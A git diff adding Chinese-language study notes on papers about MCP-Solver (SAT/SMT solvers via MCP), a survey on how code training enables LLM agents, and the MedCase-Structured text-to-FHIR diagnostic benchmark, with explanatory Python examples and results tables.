+    if r1 == r2:
+        for c in range(min(c1, c2) + 1, max(c1, c2)):
+            positions.append((r1, c))
+    elif c1 == c2:
+        for r in range(min(r1, r2) + 1, max(r1, r2)):
+            positions.append((r, c1))
+    elif abs(r1 - r2) == abs(c1 - c2):
+        steps = abs(r1 - r2) - 1
+        r_step = 1 if r2 > r1 else -1
+        c_step = 1 if c2 > c1 else -1
+        for i in range(1, steps + 1):
+            positions.append((r1 + i * r_step, c1 + i * c_step))
+    return positions
+
+for (r1, c1), (r2, c2) in itertools.combinations(
+    [(r, c) for r in range(board_size) for c in range(board_size)], 2):
+    if are_aligned(r1, c1, r2, c2):
+        between = positions_between(r1, c1, r2, c2)
+        if not between:
+            formula.append([-queen_at[(r1, c1)], -queen_at[(r2, c2)]])
+        else:
+            knight_vars = [knight_at[pos] for pos in between]
+            if knight_vars:
+                formula.append([-queen_at[(r1, c1)], -queen_at[(r2, c2)]] + knight_vars)
+
+# 约束 5：骑士和皇后互不攻击
+knight_moves = [(-2,-1),(-2,1),(-1,-2),(-1,2),(1,-2),(1,2),(2,-1),(2,1)]
+for r1 in range(board_size):
+    for c1 in range(board_size):
+        for dr, dc in knight_moves:
+            r2, c2 = r1 + dr, c1 + dc
+            if 0 <= r2 < board_size and 0 <= c2 < board_size:
+                formula.append([-knight_at[(r1, c1)], -queen_at[(r2, c2)]])
+                formula.append([-queen_at[(r1, c1)], -knight_at[(r2, c2)]])
+
+# 约束 6：骑士之间互不攻击
+for r1 in range(board_size):
+    for c1 in range(board_size):
+        for dr, dc in knight_moves:
+            r2, c2 = r1 + dr, c1 + dc
+            if (0 <= r2 < board_size and 0 <= c2 < board_size and (r1, c1) < (r2, c2)):
+                formula.append([-knight_at[(r1, c1)], -knight_at[(r2, c2)]])
+
+# 求解
+solver = Glucose3()
+solver.append_formula(formula)
+if solver.solve():
+    model = solver.get_model()
+    # 打印棋盘布局...
+else:
+    print("无解")
+```
+
+这个例子展示了 PySAT 模式的特点：把问题转化为 CNF（合取范式），然后用 SAT 求解器找出一组使公式为真的变量赋值。
+
+### 示例 3：Z3 模式简介
+
+Z3 模式适合需要丰富数据类型的场景。比如验证处理器奇偶校验逻辑：
+
+```python
+from z3 import *
+
+# 定义一个 32 位的位向量
+data = BitVec('data', 32)
+
+# 定义奇偶校验位
+parity_bit = BitVec('parity', 1)
+
+# 约束：数据中 1 的个数应该与奇偶校验位匹配
+# 这里用 Z3 内置的 popcount（计算 1 的个数）
+pop = Sum([Extract(i, i, data) for i in range(32)])
+solver = Solver()
+solver.add(Xor(pop % 2, parity_bit) == 0)
+
+# 给一个具体的数据值
+solver.add(data == 0xDEADBEEF)
+
+if solver.check() == sat:
+    m = solver.model()
+    print(f"奇偶校验位应为: {m[parity_bit]}")
+else:
+    print("无解 - 约束冲突")
+```
+
+Z3 的优势在于它能处理整数、位向量、数组、实数等多种类型，还能表达量词（forall/exists），适合更复杂的验证场景。
+
+## 四、系统架构要点
+
+MCP-Solver 的整体架构可以用一句话概括：**LLM 是人，求解器是计算器。**
+
+```
+┌─────────────┐     MCP 协议      ┌──────────────┐
+│  AI 聊天应用  │ ◄──────────────► │  MCP-Solver  │
+│  (Claude等)   │   工具调用       │   Server     │
+└─────────────┘                  └──────┬───────┘
+                                       │
+                    ┌────────────────────┼────────────────────┐
+                    │                    │                      │
+              ┌─────▼─────┐      ┌──────▼──────┐    ┌─────────▼─────────┐
+              │  MiniZinc  │      │    PySAT    │    │      Z3           │
+              │  约束规划   │      │  SAT 求解器  │    │  SMT 求解器       │
+              └───────────┘      └─────────────┘    └───────────────────┘
+```
+
+MCP-Solver 提供了 6 个标准工具：
+
+- `clear_model` — 清空当前模型
+- `add_item` — 在指定位置添加一段代码
+- `replace_item` — 替换指定位置的代码
+- `delete_item` — 删除指定位置的代码
+- `get_model` — 查看当前模型（带编号）
+- `solve_model` — 求解模型，返回结果
+
+每个操作后都会自动验证，确保模型一致性。
+
+## 五、两种使用场景
+
+### 场景 1：对话式建模（集成到 AI 聊天应用）
+
+用户在 Claude Desktop 里说："帮我规划一个从维也纳出发访问所有奥地利省会的旅行路线"。LLM 自动：
+1. 理解需求
+2. 通过 MCP 工具调用构建 MiniZinc 模型
+3. 提交求解
+4. 把结果翻译回人话
+
+用户还可以随时修改需求："加一个条件，我在格拉茨要待两天"，LLM 自动调整模型并重新求解。
+
+### 场景 2：自主多智能体系统
+
+MCP-Solver 还包含一个轻量级客户端，实现了 ReAct 代理模式：
+
+- ReAct 代理：自动决定是否需要调用求解器，自行迭代修正
+- Reviewer 代理：专门检查求解结果是否正确，给出"正确/错误/未知"的判断
+
+这种双代理设计提高了可靠性——即使 LLM 第一次建模范式有误，Reviewer 也能发现并触发重新求解。
+
+## 六、为什么这件事重要
+
+LLM 的能力边界很清晰：
+
+- 擅长：理解自然语言、创意生成、代码编写、模式识别
+- 不擅长：严格逻辑推理、数学证明、组合优化
+
+MCP-Solver 的意义在于提供了一个**通用的桥接框架**：
+
+1. **标准化**：通过 MCP 协议，任何支持 MCP 的 LLM 应用都能接入求解能力
+2. **通用性**：支持三种不同的求解范式，覆盖从简单布尔逻辑到复杂约束优化的广泛问题
+3. **交互性**：增量验证让 LLM 能在构建过程中获得即时反馈，而不是一次性提交后才发现错误
+4. **教育价值**：用户可以观察到自然语言如何被形式化为求解模型，是一种很好的学习方式
+
+## 七、局限与展望
+
+论文也坦诚了当前的限制：
+
+- 求解是同步进行的，长时间求解会阻塞（计划中添加异步求解）
+- 复杂问题的自动编码仍需人工干预
+- 目前每轮会话只使用一种求解器后端（未来可能加入路由代理自动选择）
+
+作者提到的未来方向包括：MaxSAT 支持、异步求解接口、更多后端（如模型计数器）、以及支持实例数据处理（如图表或表格数据）。
+
+## 八、我的理解总结
+
+用一句话概括：**MCP-Solver 让 LLM 从"猜测者"变成了"协调者"**——LLM 不需要自己算出正确答案，它只需要把问题正确地描述给求解器，然后解读结果。这就像从"让学生自己解题"变成了"让学生学会使用计算器"。
+
+对于学习者来说，这个项目也是一个极好的理解"形式化方法"的入口——通过自然语言到求解模型的转换过程，你能直观地看到如何将模糊的现实问题转化为精确的数学约束。
diff --git a/src/content/docs/papers/mcp-spec.md b/src/content/docs/papers/mcp-spec.md
index 256e540bd..473721140 100644
--- a/src/content/docs/papers/mcp-spec.md
+++ b/src/content/docs/papers/mcp-spec.md
@@ -153,5 +153,7 @@ Claude Desktop 配一个本地 MCP 服务器，启动时 fork 子进程，stdin/
 
 - [[anthropic-circuits]] —— Anthropic Circuits — 把 Transformer 当电路逆向
 - [[anthropic-prompt-caching]] —— Anthropic Prompt Caching — 让长 prompt 只算一次，后续只付 10%
+- [[language-server-protocol-spec]] —— Language Server Protocol — 让编辑器共享同一套「语言大脑」的 USB 协议
+- [[mcp-is-dead-debate]] —— MCP Is Dead? — 2026 年协议存废之争零基础笔记
 - [[rest-fielding-2000]] —— REST — Fielding 2000 给 Web API 写下的设计宪法
 
diff --git a/src/content/docs/papers/mcp-survey.md b/src/content/docs/papers/mcp-survey.md
new file mode 100644
index 000000000..e47291a05
--- /dev/null
+++ b/src/content/docs/papers/mcp-survey.md
@@ -0,0 +1,277 @@
+---
+title: From LLMs to MCPs: How Code Empowers Large Language Models to Serve as Intelligent Agents
+来源: https://arxiv.org/abs/2401.00812
+日期: 2026-06-13
+分类: 机器学习
+子分类: LLM架构
+provenance: pipeline-v3
+---
+
+# 从大语言模型到智能体：代码如何让 LLM 拥有"魔法"
+
+## 一句话总结
+
+这篇论文说了一件事：**LLM 本身只是一个"巫师"，代码才是让它施展法术的"魔杖"**。通过把代码融入训练数据，LLM 获得了推理能力、结构化表达能力和与外部世界交互的能力，最终进化成了能自主规划、执行、反思的智能体（Agent），以及今天我们能看到的 MCP（Model Context Protocol）生态。
+
+---
+
+## 一、从日常类比开始：厨师与菜谱
+
+想象一个天才厨师。他尝一口就知道味道好不好，能凭直觉做出美味。但他每次做菜全靠感觉——有时惊艳，有时翻车。
+
+现在给他一本菜谱。菜谱有标准格式（"盐 5g，油 15ml，中火 3 分钟"），有步骤顺序（"先炒香葱，再放肉"），可以拆成小块（"酱汁单独做"），还能反复运行（照做一遍，再做一遍，结果一样）。
+
+厨师拿到菜谱后，发生了三件事：
+
+1. **推理能力变强了**：他开始理解"为什么先炒葱再放肉"，而不仅仅是"怎么做"
+2. **表达变精确了**：每一步都清晰可复现，不再靠"适量""少许"这种模糊词
+3. **能跟厨房设备联动了**：他知道菜谱里的"中火"对应电磁炉的哪个档位
+
+**LLM 和代码的关系，就是这个厨师和菜谱的关系。**
+
+---
+
+## 二、核心概念拆解
+
+### 2.1 代码的四个特性
+
+论文指出，代码之所以能成为 LLM 的"魔杖"，是因为它有四个独特属性：
+
+| 特性 | 说明 | 类比 |
+|------|------|------|
+| **标准语法** | 有固定规则，不像自然语言那样歧义重重 | 菜谱的计量单位是克和毫升 |
+| **逻辑一致性** | 程序要么正确运行，要么报错，没有"差不多" | 按照菜谱做，味道就是那个味道 |
+| **抽象能力** | 可以把复杂操作封装成函数，重复调用 | 把"炒肉"封装成一个步骤，随时复用 |
+| **模块化** | 不同功能拆成独立模块，互不影响 | 酱汁、主菜、配菜各自独立准备 |
+
+### 2.2 代码给 LLM 带来的三大能力
+
+#### 能力一：解锁推理能力
+
+没有代码训练的 LLM 就像只会背课文的学生——能复述"勾股定理"，但不会用它解题。
+
+有了代码训练后，LLM 学会了**把大问题拆成小步骤**。这就是我们后来看到的 Chain-of-Thought（思维链）推理的基础。
+
+#### 能力二：产生结构化中间步骤，连接外部工具
+
+代码是"结构化语言"，LLM 学会写代码后，就能输出**格式精确、可执行的中间步骤**。这些步骤可以直接对接外部工具——这就是 Function Calling 和 MCP 的前身。
+
+#### 能力三：利用编译执行环境获得反馈
+
+代码写错了会报错。LLM 看到错误信息，就能修正自己的思路。这个"试错-修正"循环，是 Agent 自我改进的核心机制。
+
+### 2.3 从 LLM 到 Agent 的进化路径
+
+论文梳理了这条进化线：
+
+```
+纯文本 LLM（只会聊天）
+    ↓
+加入代码训练（学会推理和结构化表达）
+    ↓
+Function Calling（能调用外部工具）
+    ↓
+Agent 框架（能规划、执行、反思的自主系统）
+    ↓
+MCP 生态（标准化的工具协议）
+```
+
+---
+
+## 三、代码示例
+
+### 示例一：没有代码训练的 LLM vs 有代码训练的 LLM
+
+**场景**：让 LLM 计算"从北京到上海，高铁时速 300km，距离 1200km，需要几小时？"
+
+**没有代码训练的 LLM**（可能直接猜一个数字，或者给出模糊推理）：
+
+```
+用户：北京到上海高铁要多久？
+LLM：嗯……大概几个小时吧，我猜5到6个小时左右？
+```
+
+**有代码训练的 LLM**（会写出可执行的计算步骤）：
+
+```python
+distance = 1200      # 公里
+speed = 300          # km/h
+time = distance / speed  # 时间 = 距离 ÷ 速度
+print(f"需要 {time} 小时")
+# 输出：需要 4.0 小时
+```
+
+区别在哪？代码训练让 LLM 学会了**把自然语言问题翻译成精确的计算步骤**，而不是靠"感觉"回答。
+
+### 示例二：从 Function Calling 到 Agent 的演进
+
+**场景**：让 LLM 帮用户查天气并推荐穿衣
+
+**第一步：Function Calling（单个工具调用）**
+
+```python
+# LLM 输出的结构化调用
+def get_weather(city: str) -> dict:
+    """查询指定城市的天气"""
+    return {"city": city, "temp": 22, "condition": "多云"}
+
+# LLM 决定调用
+result = get_weather("北京")
+```
+
+**第二步：Agent Loop（多步规划 + 工具调用 + 反思）**
+
+```python
+class WeatherAgent:
+    def __init__(self):
+        self.memory = []  # 记录对话历史
+    
+    def plan(self, user_request: str) -> list:
+        """把用户请求拆成可执行步骤"""
+        return [
+            {"tool": "get_weather", "args": {"city": "北京"}},
+            {"tool": "recommend_clothes", "args": {"temp": "{{result.temp}}"}},
+        ]
+    
+    def execute(self, plan: list) -> str:
+        """逐步执行计划，根据中间结果调整"""
+        for step in plan:
+            tool_name = step["tool"]
+            result = self.call_tool(tool_name, step["args"])
+            self.memory.append({"step": tool_name, "result": result})
+            
+            # 反思：检查结果是否需要调整下一步
+            if result.get("temp", 0) < 10:
+                return "今天很冷，建议穿羽绒服！"
+            elif result.get("temp", 0) < 20:
+                return "天气凉爽，建议穿外套。"
+            else:
+                return "天气炎热，建议穿短袖。"
+    
+    def call_tool(self, tool_name: str, args: dict) -> dict:
+        """调用具体的工具函数"""
+        if tool_name == "get_weather":
+            return {"city": args["city"], "temp": 8, "condition": "晴"}
+        elif tool_name == "recommend_clothes":
+            return {"advice": "需要厚外套"}
+        return {}
+
+# 使用
+agent = WeatherAgent()
+response = agent.execute(agent.plan("北京今天天气怎么样？穿什么？"))
+print(response)
+# 输出：今天很冷，建议穿羽绒服！
+```
+
+这个例子展示了论文说的核心思想：**代码让 LLM 从"被动回答问题"变成"主动规划、执行、反思"的智能体**。
+
+### 示例三：MCP 协议的思想源头
+
+MCP（Model Context Protocol）的本质是什么？论文虽然没有直接提到 MCP（论文发表于 2024 年 1 月，MCP 是后来 Anthropic 提出的标准化协议），但它描述的"结构化中间步骤连接外部执行端"正是 MCP 的核心思想。
+
+```python
+# 简化版 MCP 思想：标准化的工具描述 + 标准化的调用协议
+
+# 1. 工具注册（相当于 MCP 的 tool 定义）
+TOOLS = {
+    "get_weather": {
+        "description": "查询城市天气",
+        "parameters": {
+            "city": {"type": "string", "description": "城市名称"}
+        }
+    },
+    "send_email": {
+        "description": "发送邮件",
+        "parameters": {
+            "to": {"type": "string"},
+            "subject": {"type": "string"},
+            "body": {"type": "string"}
+        }
+    }
+}
+
+# 2. LLM 输出标准化的工具调用格式
+def llm_call_tool(tool_name: str, parameters: dict) -> dict:
+    """LLM 通过统一接口调用任何已注册的 tool"""
+    if tool_name not in TOOLS:
+        return {"error": f"未知工具: {tool_name}"}
+    
+    # 验证参数类型
+    for param_name, param_info in TOOLS[tool_name]["parameters"].items():
+        if param_name not in parameters:
+            return {"error": f"缺少参数: {param_name}"}
+        if not isinstance(parameters[param_name], param_info["type"]):
+            return {"error": f"参数 {param_name} 类型错误"}
+    
+    # 执行工具（这里用模拟实现）
+    if tool_name == "get_weather":
+        return {"temperature": 22, "condition": "晴"}
+    elif tool_name == "send_email":
+        return {"status": "sent", "message_id": "abc123"}
+
+# 3. LLM 根据工具返回结果生成最终回答
+tool_result = llm_call_tool("get_weather", {"city": "北京"})
+final_response = f"北京今天{tool_result['condition']}，气温{tool_result['temperature']}°C。"
+print(final_response)
+# 输出：北京今天晴，气温22°C。
+```
+
+这就是 MCP 协议的灵魂：**用一套统一的协议，让 LLM 能调用任何工具**。而这套协议的理论基础，正是论文所阐述的"代码赋予 LLM 的结构化表达能力"。
+
+---
+
+## 四、论文的关键贡献
+
+### 4.1 首次系统梳理"代码训练"对 LLM 的影响
+
+在 GPT-4 时代之前，大家普遍认为代码训练只是为了让 LLM 学会写代码。这篇论文第一次明确指出：
+
+- 代码训练的真正价值不在"写代码"本身
+- 而在代码带来的**推理能力、结构化表达、可执行反馈**这三个深层能力
+
+### 4.2 提出了 LLM → Agent 的完整进化图谱
+
+论文把从纯文本 LLM 到智能体的发展脉络理得很清楚，为后来所有的 Agent 框架（AutoGPT、BabyAGI、LangChain Agent、OpenAI Functions、MCP 等）提供了理论框架。
+
+### 4.3 指出了未来的挑战
+
+论文最后提到了几个关键挑战，其中很多在今天仍然相关：
+
+1. **代码幻觉**：LLM 生成的代码看起来对，但实际运行有问题
+2. **工具选择的准确性**：面对多个可用工具时，LLM 如何选对？
+3. **长程依赖**：复杂任务中，早期步骤的错误会影响整个执行链
+4. **安全与可控性**：Agent 自主执行代码，如何防止恶意操作？
+
+---
+
+## 五、这篇论文和我的学习路线有什么关系？
+
+你正在学习的 MCP（Model Context Protocol），它的理论基础就在这篇论文里。
+
+具体来说：
+
+- **MCP 解决了什么问题？** 论文说"LLM 需要通过结构化的中间步骤连接外部执行端"，MCP 就是这个"连接协议"的标准化实现
+- **为什么 MCP 用 JSON-RPC？** 因为代码训练让 LLM 擅长处理结构化数据，JSON-RPC 是最适合 LLM 理解和生成的协议格式之一
+- **为什么 MCP 要把工具描述写成 schema？** 因为论文强调代码的"标准语法"特性——结构化工具描述让 LLM 能精确理解每个工具的输入输出
+
+简单说：**没有这篇论文说的"代码赋能"，就没有 MCP 存在的意义**。
+
+---
+
+## 六、小结
+
+这篇论文用一个精妙的比喻概括了自己的核心观点：
+
+> "如果 LLM 是巫师，那么代码就是魔杖。"
+
+巫师本身有天赋，但如果没有魔杖，他的魔法只能停留在口头。代码就是那根魔杖——它让 LLM 从"会说"变成了"能做"。
+
+从 Function Calling 到 Agent 框架，再到 MCP 协议，都是这根"魔杖"的不同形态。理解了这一点，你就理解了整个现代 LLM Agent 生态的理论根基。
+
+---
+
+## 思考题
+
+1. 如果你要让一个没有代码训练基础的 LLM 学会"查天气后推荐穿衣"，你会怎么设计训练数据？
+2. MCP 协议相比 OpenAI 的 Function Calling，在"结构化表达"上做了哪些改进？
+3. 论文提到的"代码幻觉"问题，在你日常使用 Copilot 或 Cursor 时遇到过吗？具体表现是什么？
diff --git a/src/content/docs/papers/medcase-fhir.md b/src/content/docs/papers/medcase-fhir.md
new file mode 100644
index 000000000..86d39becd
--- /dev/null
+++ b/src/content/docs/papers/medcase-fhir.md
@@ -0,0 +1,344 @@
+---
+title: MedCase-Structured — Text-to-FHIR 临床诊断推理数据集（零基础学习笔记）
+来源: https://arxiv.org/abs/2605.30295
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：病历口述 vs 医院信息系统
+
+想象你是一名住院医，向主任汇报病例时有两种方式：
+
+- **口述版（纯文本）**：「45 岁女性，左臂和腋下起水疱样皮疹三天，伴主观发热，既往无特殊……」——信息都在一段话里，主任靠临床经验串起来想诊断。
+- **系统版（结构化 EHR）**：同一位病人已经录进医院信息系统：人口学在 **Patient**，就诊在 **Encounter**，主诉拆成多条 **Condition**，化验在 **Observation**，每条还带 **SNOMED CT / LOINC / RxNorm** 标准编码。主任要在表格、编码和引用关系里「拼图」。
+
+很多 AI 论文只在**口述版**上测诊断准确率——像在作文比赛里拿高分。真正部署到临床决策支持系统（CDSS）时，模型面对的是**系统版**：FHIR Bundle、术语表、资源引用、日期字段、诊断是否被刻意隐藏。2026 年 5 月发表的 **MedCase-Structured**（arXiv:[2605.30295](https://arxiv.org/abs/2605.30295)，ICML 2026 SD4H 投稿）正是为了填这个评测鸿沟：把医生写的病例叙事，转成**可互操作的 HL7 FHIR R4 患者 Bundle**，再测大模型在「像真 EHR」输入上的诊断推理能力。
+
+论文的核心发现很反直觉：**同一批病例，换成 FHIR 结构化输入后，主流 LLM 的诊断准确率普遍下降**——说明「会读病历故事」≠「会在 EHR 里推理」。
+
+一句话：**MedCase-Structured 不是又一个医学 QA 题库，而是把评测场景从「作文」搬到「医院信息系统界面」。**
+
+---
+
+## 是什么
+
+| 项目 | 内容 |
+|------|------|
+| 全称 | MedCase-Structured: A Text-to-FHIR Dataset for Benchmarking Diagnostic Reasoning in Clinically Realistic EHR Settings |
+| 作者 | Valentina Bui Muti, Eugénie Dulout, Ziquan Fu |
+| 上游数据 | [MedCaseReasoning](https://github.com/kevinwu23/Stanford-MedCaseReasoning)（NeurIPS 2025，约 14,489 例临床病例报告） |
+| 输出格式 | HL7 **FHIR R4** `Bundle`（`type: collection`），术语经 SNOMED CT / LOINC / RxNorm / CVX 校验 |
+| 数据集仓库 | [SystemInternal/MedCase-Structured](https://github.com/SystemInternal/MedCase-Structured) |
+| 规模 | 过滤后成功转换 **1,408** 例（占进入流水线的 **82.5%**）；测试集可用 **95** 例（原 test 897 例） |
+| 生成模型 | Claude Sonnet 4（`claude-sonnet-4-20250514`，temperature=0） |
+
+MedCase-Structured 解决的是**评测对齐（deployment-aligned benchmarking）**：用合成、公开、FHIR 原生的患者数据，在保护隐私的前提下模拟真实 CDSS 输入。
+
+---
+
+## 为什么重要
+
+### 1. 真实 EHR 与论文基准之间的裂缝
+
+- **MIMIC-IV** 等真实 EHR 受隐私与许可限制，且原始形态并非部署中的 FHIR 输出；MIMIC-IV-FHIR 是事后映射，不是临床系统实时产物。
+- **MedQA / MMLU 医学子集** 等多为短 vignette 或选择题，缺少资源引用、编码体系和纵向字段。
+- **Synthea** 能批量造 FHIR，但靠预定义模块与启发式规则，难以覆盖罕见、非典型、高难度的诊断推理病例。
+
+### 2. 输入表示会显著改变模型表现
+
+论文引用 EHRStruct、FHIR-AgentBench 等工作的结论：**同一临床任务，换输入格式或评测协议，LLM 分数可大幅波动**。MedCase-Structured 用同一病例的「文本版 vs FHIR 版」做对照，直接量化这一差距。
+
+### 3. 术语幻觉是 text-to-FHIR 的主战场
+
+流水线失败统计里，**LOINC / RxNorm 幻觉编码**、非特异性药名（如「口服抗生素」）、语义映射过细/类别错误占绝大多数。没有 **terminology grounding + repair**，合成 FHIR 无法用于严肃评测。
+
+---
+
+## 核心概念
+
+### 1. FHIR R4 与 Bundle
+
+**FHIR**（Fast Healthcare Interoperability Resources）是 HL7 的医疗数据交换标准。**R4** 是当前广泛部署的版本。一个病例在 MedCase-Structured 里通常是一个 **`Bundle`**，内含多条 `entry`，每条指向一种资源：
+
+| 资源类型 | 临床含义（简化） |
+|----------|------------------|
+| `Patient` | 人口学：姓名、性别、出生日期 |
+| `Encounter` | 就诊：门诊/住院、时段、就诊原因 |
+| `Condition` | 诊断或症状条目 |
+| `Observation` | 体征、实验室结果 |
+| `MedicationRequest` | 用药医嘱 |
+| `Procedure` | 操作/手术 |
+| `DiagnosticReport` | 检查报告 |
+| `AllergyIntolerance` | 过敏史 |
+| `FamilyMemberHistory` | 家族史 |
+| `Immunization` | 免疫接种 |
+
+资源之间用 `subject.reference: Patient/{id}` 等字段**链接**，形成图结构——这正是 LLM 阅读纯文本时不常遇到的认知负担。
+
+### 2. 三阶段固定 LLM 流水线（非 Agent 随意调工具）
+
+与 Infherno 等 **agent 自主决定何时调工具** 不同，本文流水线在**三个固定阶段**调用 LLM，其余为确定性校验：
+
+```text
+自由文本病例
+  → [Stage 1 抽取]  中间表示（人口学、症状、化验、用药… + 每项原文 quote）
+  → [术语接地]      SapBERT + FAISS 对 SNOMED/LOINC/RxNorm/CVX 校验/替换/拒绝
+  → [Stage 2 合成]  按 HL7 R4 模板生成 FHIR 资源
+  → [结构校验 + 修复循环]  最多 3 轮把 validation errors 喂回 LLM
+  → [规则后处理]    补全缺失资源、归一化单位/日期/状态
+  → [Stage 3 泄漏检测]（可选）语义扫描 narrative 字段，清除残留诊断线索
+  → 输出 Bundle
+```
+
+**术语接地**使用 [SapBERT](https://arxiv.org/abs/2010.11784) 嵌入 + [FAISS](https://arxiv.org/abs/1702.08734) 近邻搜索，按余弦相似度阈值决定：接受原码、替换为库内标准码、或拒绝。
+
+### 3. 诊断隐藏（Diagnosis Hiding）——评测 CDSS 的关键开关
+
+真实 CDSS 不应「偷看」已写入 EHR 的最终诊断。论文提供四种模式：
+
+| 模式 | 行为 |
+|------|------|
+| `NONE` | 移除所有诊断结论 |
+| `HIDDEN` | 仅隐藏主诊断（评测常用） |
+| `EXPLICIT` | 只保留患者自述病情 |
+| `FULL` | 保留全部抽取诊断（用于分析泄漏） |
+
+`NONE` / `HIDDEN` 下先做编码与子串过滤，再用第三阶段 LLM 扫 narrative，去掉缩写、隐含结论等同义词。
+
+### 4. 与 MedCaseReasoning 的关系
+
+[MedCaseReasoning](https://arxiv.org/abs/2505.11733) 每条样本含：
+
+- `case_prompt`：尚未给出鉴别诊断前的病例呈现
+- `diagnostic_reasoning`：带文献引用的编号推理链
+- `final_diagnosis`：金标准诊断
+
+MedCase-Structured **保留诊断难度与专科分布**，把 `case_prompt` 转成 FHIR；评测时对比 **MCR（文本）** 与 **MCS（FHIR）** 同一问题的准确率。
+
+### 5. 过滤与失败模式（读数字时必看）
+
+进入流水线的病例会先排除：非人类（兽医报告）、多患者、强依赖影像学描述（生成器暂不支持）等。
+
+| 划分 | 原始 | 最终可用 |
+|------|------|----------|
+| Test | 897 | 95 |
+| Val | 500 | 50 |
+| Train | 13,092 | 1,263 |
+
+测试集从 897 掉到 95，主因是 **imaging excluded**（777 例），不是流水线全面崩溃。读论文表格时要区分「全库」与「可评测子集」。
+
+---
+
+## 实验结果：结构化输入更难
+
+在诊断隐藏设定下，用 GPT-5.4 作 LLM-as-judge 比较预测诊断与金标准是否临床等价：
+
+| 模型 | MedCaseReasoning（文本） | MedCase-Structured（FHIR） | Δ |
+|------|--------------------------|----------------------------|---|
+| GPT-5.4 zero-shot | 65.26% | 61.05% | −4.21 |
+| GPT-5.4 1-shot | 74.74% | 51.58% | **−23.16** |
+| Gemini-3.1-Pro zero-shot | 58.95% | 52.63% | −6.32 |
+| Claude-Opus-4.6 zero-shot | 68.42% | 53.63% | −14.79 |
+
+**Few-shot 在文本上提升明显，在 FHIR 上反而可能更差**——模型或许把 shot 里的叙事模式错误迁移到 JSON 结构上。这强化了：**部署前必须在目标数据形态上评测**。
+
+---
+
+## 代码示例 1：读懂 Bundle 骨架（Python）
+
+下面用最小脚本加载一条 FHIR Bundle，列出资源类型与 SNOMED 编码——这是 MCS 评测前「人类/模型在看什么」的第一步：
+
+```python
+import json
+from pathlib import Path
+from collections import Counter
+
+def summarize_bundle(bundle_path: str) -> None:
+    bundle = json.loads(Path(bundle_path).read_text())
+    assert bundle["resourceType"] == "Bundle"
+    types = Counter()
+    snomed_codes = []
+    for entry in bundle.get("entry", []):
+        res = entry.get("resource", {})
+        rtype = res.get("resourceType", "?")
+        types[rtype] += 1
+        # 递归收集 SNOMED coding（教学用简化版）
+        def walk(obj):
+            if isinstance(obj, dict):
+                if obj.get("system") == "http://snomed.info/sct":
+                    snomed_codes.append(obj.get("display") or obj.get("code"))
+                for v in obj.values():
+                    walk(v)
+            elif isinstance(obj, list):
+                for item in obj:
+                    walk(item)
+        walk(res)
+    print("Resource counts:", dict(types))
+    print("SNOMED concepts (sample):", snomed_codes[:8])
+
+# 假设从 MedCase-Structured 仓库解压的单例
+summarize_bundle("cases/test/case_00042.bundle.json")
+```
+
+实战中你会看到：`Encounter.reasonCode`、`Condition.code`、`Observation.code` 分散在不同资源里——模型必须把**跨资源证据**合成诊断，而不是读一段连贯叙述。
+
+---
+
+## 代码示例 2：复现评测提示结构（诊断任务）
+
+论文附录 B 规定模型输出 JSON：`diagnosis` + `reasoning`。下面用伪代码展示 **FHIR 输入** 与 **文本输入** 如何共用同一套评测壳（便于自己跑 ablation）：
+
+```python
+import json
+
+SYSTEM = (
+    "You are a careful physician solving clinical diagnostic reasoning cases. "
+    "Use only the provided case information. Return valid JSON only."
+)
+
+def build_user_prompt(case_input: str, *, mode: str) -> str:
+    if mode == "fhir":
+        header = "You will receive a FHIR Bundle JSON for a clinical case."
+        body = case_input  # 完整 Bundle JSON 字符串
+    elif mode == "text":
+        header = "You will receive a plain text clinical case description."
+        body = case_input  # MedCaseReasoning case_prompt
+    else:
+        raise ValueError(mode)
+    schema = (
+        'Return exactly this JSON schema: '
+        '{"diagnosis": "single most likely diagnosis", '
+        '"reasoning": "brief explanation using the case evidence"}'
+    )
+    return f"{header} Determine the most likely final diagnosis. {schema}\n\n{body}"
+
+def parse_model_json(raw: str) -> dict:
+    # 生产环境应加 jsonschema 校验与重试
+    return json.loads(raw)
+
+# FHIR 路径
+fhir_bundle = open("case_00042.bundle.json").read()
+prompt_mcs = build_user_prompt(fhir_bundle, mode="fhir")
+
+# 文本对照路径（同一病例的 case_prompt）
+text_case = open("case_00042.prompt.txt").read()
+prompt_mcr = build_user_prompt(text_case, mode="text")
+
+# 下游：调用 API → parse_model_json → GPT-5.4 judge 比较 final_diagnosis
+```
+
+若你微调 CDSS，应分别在 `prompt_mcr` 与 `prompt_mcs` 上报告指标，而不是只报文本侧「好看」的数字。
+
+---
+
+## 代码示例 3（加分）：术语接地思路（概念片段）
+
+论文用 SapBERT 向量 + FAISS 做「码表对齐」。下面不是论文源码，但说明 **replace / reject** 决策逻辑：
+
+```python
+import numpy as np
+
+def cosine(a: np.ndarray, b: np.ndarray) -> float:
+    return float(np.dot(a, b) / (np.linalg.norm(a) * np.linalg.norm(b) + 1e-9))
+
+def ground_code(
+    mention: str,
+    llm_code: str,
+    llm_display: str,
+    faiss_index,          # 预建：标准术语 SapBERT 向量
+    term_table: list[dict],
+    thresholds: tuple[float, float] = (0.85, 0.70),
+) -> str | None:
+    """高相似度接受；中间带替换；过低拒绝（返回 None 触发修复循环）"""
+    emb = encode_sapbert(mention)  # 与论文一致的生物医学句向量
+    sims, idxs = faiss_index.search(emb.reshape(1, -1), k=5)
+    best_sim, best_idx = float(sims[0][0]), int(idxs[0][0])
+    canonical = term_table[best_idx]
+    if llm_code == canonical["code"] and best_sim >= thresholds[0]:
+        return llm_code
+    if best_sim >= thresholds[0]:
+        return canonical["code"]   # 替换幻觉码
+    if best_sim >= thresholds[1]:
+        return canonical["code"]   # 弱匹配仍替换
+    return None                    # 拒绝 → 进入 LLM repair
+```
+
+非特异性表述（「口服抗生素」）常在 `thresholds` 下被拒——这也是 Table 2 里 RxNorm 失败高发的原因。
+
+---
+
+## 与相关工作的对比（选型表）
+
+| 方案 | 优势 | 局限 |
+|------|------|------|
+| **MIMIC-IV / FHIR 衍生** | 真实分布 | 隐私、许可、非原生 FHIR 工作流 |
+| **Synthea** | 大规模合成 FHIR | 规则驱动，难控复杂罕见病例 |
+| **FHIR-GPT / Infherno** | 笔记→FHIR 重建 | 偏「忠实还原」，非可控评测集生成 |
+| **EHRStruct / FHIR-AgentBench** | 结构化 EHR 任务基准 | 固定数据，难按需生成新场景 |
+| **MedCase-Structured** | 医生病例 + 术语校验 + 诊断隐藏 + 文本/FHIR 对照 | 资源类型子集、纵向轨迹简化、成像信息过滤 |
+
